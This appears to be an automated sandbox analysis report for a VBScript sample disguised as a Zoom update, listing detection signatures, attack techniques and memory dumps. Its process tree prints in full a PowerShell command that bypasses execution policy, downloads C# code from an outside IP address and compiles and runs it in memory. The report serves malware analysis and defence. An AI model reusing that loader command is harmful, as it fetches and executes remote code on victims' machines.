Analysis
- max time kernel
38s - max time network
15s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
02/07/2026, 10:24
General
- Target zoom-update.vbs
- Size 4KB
- Sample260702-mfeheaev2k
- SHA256 9161a8f7f07741db06b9f9a87b6ec7f277faf2ae3a3a661d6eb09cec4e12b920
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\zoom-update.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; Invoke-WebRequest -Uri 'http://207.189.11.170/Bin/working_payload.cs' -OutFile 'C:\Windows\Temp\FileR.txt' -UseBasicParsing; Start-Sleep -Seconds 3; if (Test-Path 'C:\Windows\Temp\FileR.txt') { $content = Get-Content 'C:\Windows\Temp\FileR.txt' -Raw; try { Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $content -Language CSharp -ErrorAction Stop; [HelloWorld.Program]::SayHello() } catch { } }2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5296-0-0x00007FFADF1BF000-0x00007FFADF1C0000-memory.dmp
memory/5296-1-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-4-0x000001C050BA0000-0x000001C050BC2000-memory.dmp
memory/5296-5-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-6-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-7-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-8-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-9-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-10-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-11-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-12-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-13-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-14-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-15-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-17-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp
memory/5296-19-0x00007FFADF030000-0x00007FFADF9D4000-memory.dmp